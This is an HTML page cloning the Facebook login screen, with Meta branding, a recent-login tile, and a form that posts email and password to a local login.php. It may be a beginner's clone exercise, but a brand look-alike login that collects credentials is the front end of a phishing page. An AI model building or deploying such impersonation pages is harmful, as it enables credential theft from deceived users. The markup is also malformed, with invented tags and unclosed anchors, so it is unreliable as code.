| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="UTF-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| <title>Facebook Login</title> |
| <style> |
| body { |
| font-family: Arial, sans-serif; |
| background-color: #f0f2f5; |
| margin: 10; |
| |
| display: flex; |
| justify-content: center; |
| align-items: center; |
| height: 67vh; |
| } |
| .container { |
| display: flex; |
| justify-content: left; |
| align-items: center; |
| width: 70%; |
| max-width: 1000px; |
| margin-bottom: 78px; |
| padding: 120px; |
| } |
| |
| |
| |
| |
| .left { |
| flex: 1; |
| margin-bottom: 02px; |
| margin-left: 0.5px; |
| margin-right: 10px; |
| } |
| .right { |
| flex: 10; |
| max-width: 350px; |
| height: 310px; |
| background-color: #fff; |
| |
| border-radius: 8px; |
| margin-top: 69px; |
| margin-right: 19px; |
| padding: 20px; |
| padding-right: 30px; |
| padding-left: 15px; |
| padding-top: 3.5px; |
| padding-bottom: 40px; |
| |
| |
| |
| box-shadow: 0 4px 12px rgba(8, 8, 5, 0.18); |
| } |
| .left h1 { |
| color: #1877f2; |
| font-size: 44px; |
| margin-bottom: 0px; |
| margin-top: 12px; |
| |
| |
| |
| } |
| .left h5{ |
| font-size: 18px; |
| height: 23px; |
| color: hwb(0 46% 54%); |
| width: 0px; |
| margin-left: 38px; |
| margin-right: 27px; |
| margin-top: 23px; |
| margin-bottom: 11px; |
| } |
| |
| .left p { |
| font-size: 36px; |
| |
| color: #333232; |
| margin-top: 8px; |
| margin-bottom: 6px; |
| margin-left: 0.5px; |
| |
| |
| } |
| .right h2 { |
| text-align: center; |
| color: #1877f2; |
| font-size: 28px; |
| margin-bottom: 10px; |
| } |
| .right input { |
| width: 100.8%; |
| height: 10px; |
| padding-top: 18px; |
| padding-bottom: 18px; |
| padding: 20px; |
| margin-top: 13px; |
| padding-right: 0px; |
| font-size: 16px; |
| letter-spacing: 0.5px; |
| padding-left: 9px; |
| |
| border: 1px solid #dfdfdf; |
| border-radius: 5px; |
| background-size: 100%; |
| } |
| .right button { |
| -webkit-text-stroke-width: 0.5px; |
| width: 104%; |
| padding: 12px; |
| padding-bottom: 12px; |
| margin-top: 230px; |
| padding-top: 16px; |
| margin-top: 15px; |
| margin-left: 1px; |
| background-color: #0a6beb; |
| border: none; |
| color: #fff; |
| font-size: 20px; |
| letter-spacing: 0.8px; |
| border-radius: 6px; |
| cursor: pointer; |
| } |
| |
| .right button:hover { |
| |
| background-color: #165db1; |
| } |
| .right .create-account { |
| width: 90%; |
| padding: 16px; |
| padding-top: 16px; |
| padding-bottom: 15px; |
| -webkit-text-stroke-width: 0.4px; |
| background-color: #12bd12; |
| color: #fff; |
| font-size: 15.8px; |
| letter-spacing: 1px; |
| border-radius: 5px; |
| cursor: pointer; |
| |
| |
| margin-top: 100px; |
| margin-left: 78.9px; |
| padding-right: 16px; |
| } |
| .right a { |
| display: block; |
| text-align: center; |
| margin-top: 17px; |
| margin-left: 15px; |
| margin-bottom: 21px; |
| color: #1877f2; |
| text-decoration:none; |
| font-size: 14.1px; |
| |
| } |
| .right a:hover { |
| text-decoration: underline; |
| |
| } |
| |
| .profile-container { |
| display: flex; |
| align-items: center; |
| margin-top: 26px; |
| margin-bottom: 11px; |
| |
| } |
| .profile { |
| display: flex; |
| |
| align-items: center; |
| background-color: #fff; |
| border: 1px solid #ddd; |
| border-radius: 8px; |
| padding-top: 149px; |
| padding-right: 83px; |
| margin-right: 15px; |
| |
| background-image: url("snv.png"); |
| background-repeat: no-repeat; |
| background-size: 190px 159px ; |
| cursor: pointer; |
| } |
| .profile h5{ |
| padding-left: 7px; |
| margin-left: 43px; |
| margin-bottom: 9px; |
| } |
| .profile2 { |
| border-radius: 5%; |
| margin-right: 0px; |
| display: flex; |
| padding-left: 8px; |
| background-color: #fff; |
| border: 1px solid #ddd; |
| padding-top: 156px; |
| padding-right: 0px; |
| width: 153px; |
| cursor: pointer; |
| background-image: url("fbk-butto.jpg"); |
| background-repeat: no-repeat; |
| background-size: 190px 160px; |
| |
| } |
| .profile2 h5{ |
| width: 140px; |
| text-align: center; |
| font-size: 15px; |
| margin-left: 10px; |
| margin-right: 0px; |
| margin-top: 19px; |
| margin-bottom: 8px; |
| padding-left: 8px; |
| text-align: left; |
| |
| color:pointer; |
| |
| |
| |
| } |
| |
| |
| |
| |
| |
| .small-text{ |
| color: #646262; |
| font-size: 15px; |
| margin-top: 20px; |
| margin-left: 0.5px; |
| |
| |
| } |
| .line{ |
| color: #b1afaf; |
| opacity: 19%; |
| margin-top: 2px; |
| width: 363px; |
| |
| padding-bottom: 0.1px; |
| margin-bottom: 42px; |
| |
| |
| } |
| .right a.create-a-page{ |
| color: black; |
| font-size: 14px; |
| margin-top: 67px; |
| margin-left: 15px; |
| |
| } |
| .facebook-logo{ |
| height: 32px; |
| margin-bottom: 4px; |
| margin-left: 1px; |
| |
| |
| } |
| .additional-container { |
| width: 97.9%; |
| background-color: #fff; |
| padding: 20px; |
| padding-top: 16px; |
| position: absolute; |
| padding-bottom: 30px; |
| bottom: 0px; |
| left: 0px; |
| margin-top: 0px; } |
| .additional-container p{ |
| font-size: 12px; |
| color: rgb(107, 106, 106); |
| margin-left: 441px; |
| margin-top: 15px; |
| margin-bottom: 5px; |
| } |
| .additional-container a{ |
| text-decoration: none; |
| font-size: 12px; |
| color: rgb(145, 144, 144); |
| margin-left: 6.7px; |
| |
| |
| |
| } |
| .additional-container a:hover{ |
| text-decoration: underline; |
| } |
| .button4-plus{ |
| background-image: url(/HTML/plus.png); |
| background-repeat: no-repeat; |
| background-position: 8px 3px; |
| background-size: 12px 12px; |
| background-color: #f5f5f5; |
| border-color: black; |
| border: 1px solid rgb(207, 206, 206); |
| padding-top: 2px; |
| border-radius: 1.5px; |
| padding-left: 18px; |
| padding-right: 10px; |
| padding-bottom: 2px; |
| margin-left: 10px; |
| cursor: pointer; |
| |
| } |
| .additional-container hr{ |
| width: 978px; |
| |
| margin-right: 460px; |
| margin-bottom: 0px; |
| margin-top: 10px; |
| border: 0.01px solid rgb(234, 234, 235); |
| |
| } |
| .bt-feature { |
| text-decoration: none; |
| font-size: 12px; |
| color: rgb(145, 144, 144); |
| margin-left: 424px; |
| |
| margin-top: 10px; |
| |
| |
| |
| } |
| .bt-feature a{ |
| margin-left: 17px; |
| |
| } |
| .bt-feature a2{ |
| margin-left: 17px; |
| |
| } |
| .bt-feature a2:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| |
| } |
| .bt-feature a3{ |
| margin-left: 16.5px; |
| |
| } |
| .bt-feature a3:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| |
| } |
| .bt-feature a4{ |
| margin-left: 16.2px; |
| |
| } |
| .bt-feature a4:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| |
| } |
| .bt-feature a5{ |
| margin-left: 16px; |
| |
| } |
| .bt-feature a5:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| |
| } |
| .bt-feature a6{ |
| margin-left: 16px; |
| |
| } |
| .bt-feature a6{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| |
| } |
| .space{ |
| margin-top: 5px; |
| |
| } |
| .space a9{ |
| margin-left: 15.9px; |
| } |
| .space a9:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| .space a0{ |
| margin-left: 15.9px; |
| } |
| .space a0:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| .space a11{ |
| margin-left: 15.9px; |
| } |
| .space a11:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| .sndspace{ |
| margin-top: 5px; |
| } |
| |
| .sndspace img{ |
| |
| height: 10px; |
| width: 12px; |
| position: 0px 0px; |
| margin-bottom: 0px; |
| |
| |
| |
| } |
| .sndspace a12{ |
| margin-left: 16px; |
| |
| } |
| .sndspace a12:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| .sndspace a13:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| |
| .sndspace a13{ |
| margin-left: 16px; |
| } |
| .sndspace a14{ |
| margin-left: 16.5px; |
| } |
| .sndspace a14:hover{ |
| text-decoration: underline; |
| cursor: pointer; |
| |
| } |
| .sndspace p{ |
| font-size: 11px; |
| color: #757373; |
| margin-left: 17px; |
| margin-top: 25px; |
| } |
| |
| </style> |
| </head> |
| <body> |
| <div class="container"> |
| <div class="left"> |
| <h1><img src="/templates/fbk-logo.png"alt="login page" class="facebook-logo" width="172px"></h1> |
| <p >Recent logins</p> |
| <small class="small-text"> |
|
|
| Click your picture or add an account</small> |
| |
| <div class="profile-container"> |
| <div class="profile"> |
| <h5>Subhan</h5> |
| </div> |
| <div class="profile2"> |
| |
| |
| <h5> |
| <a href="#" style=" text-decoration: none; color: #1877f2;"> |
| Add an account |
| </a> |
| </h5> |
|
|
| |
| </div> |
| </div> |
| </div> |
| <div class="right"> |
| |
| <form action="login.php" method="post"> |
| <input type="text" name="email" placeholder=" Email or phone number" required> |
| <input type="password" name="password" placeholder=" password" required> |
| <button type="submit">Log in</button> |
| <a href="#">Forgot your password?</a> |
| <hr class="line" noshade="0px" size="1.4"> |
| <button2 type="submit" class="create-account" > Create a new account |
| </button2> |
| <a href="action.php" method="post" class="create-a-page" style="text-decoration: none;"><b> |
|
|
| Create a page for |
| </b> a celebrity, brand or business . |
| </a> |
| </div> |
| </form> |
| |
| <div class="additional-container"> |
| <p>Marathi <a href="#"> |
| Hindi <a href="#"> |
| Urdu <a href="#"> |
| Punjabi <a href="#"> |
| Bangla <a href="#"> |
| Gujarati <a href="#"> |
| Tamil <a href="#"> |
| Telugu <a href="#"> |
| Malayalam <a href="#"> |
| Kannada <a href="#"> |
| English (UK)</a> |
| </a><button4 class="button4-plus"></button4> <hr> |
| </a> |
| </a> |
| </a> |
| </a> |
| </a> |
| </a> |
| </a> |
| </a> |
| |
| <div class="bt-feature"> |
|
|
| <a href="#">Sign up</a> |
| <a href="#"> Log in</a> |
| <a2 href="#">Messenger</a2> |
| <a3 href="#">Facebook Lite</a3> |
| <a4 href="#">Video</a4> |
| <a href="#">places</a> |
| <a href="#">Games</a> |
| <a href="#">Marketplace</a> |
| <a5 href="#">Meta Pay</a5> |
| <a href="#">Meta Store</a> |
| <a6 href="#">Meta Quest</a6> |
| <a href="#">Ray-Ban Meta</a> |
| <a href="#">Meta AI</a> |
| <a href="#">Instagram</a> |
| <br> |
| <div class="space"> |
|
|
| <a href="#">Threads</a> |
| <a href="#">Assistance Fund</a> |
| <a href="#">service</a> |
| <a9 href="#">Voter Information Centre</a9> |
| <a href="#">Privacy Policy</a> |
| <a href="#">Privacy Center</a> |
| <a href="#">groups</a> |
| <a0 href="#">Information</a0> |
| <a href="#">Create an ad</a> |
| <a href="#">Create a page</a> |
| <a11 href="#">developer</a11> |
| |
| <div class="sndspace"> |
| |
| <a href="#">Career</a> |
| <a href="#">Cookies</a> |
| <a12 href="#" >Ad selection </a12> |
| <img src="/HTML/ad.png" alt="image"> |
| <a13 href="#">conditions</a13> |
| <a href="#">help</a> |
| <a14 href="#">Contact with uploading and non-users</a14> |
| <p>Meta © 2024</p> |
| |
| |
| </div> |
|
|
|
|
| </div> |
| |
| |
| </div> |
| |
|
|
| |
| |
| </div> |
|
|
| </div> |
| </div> |
| </body> |
| </html> |
|
|
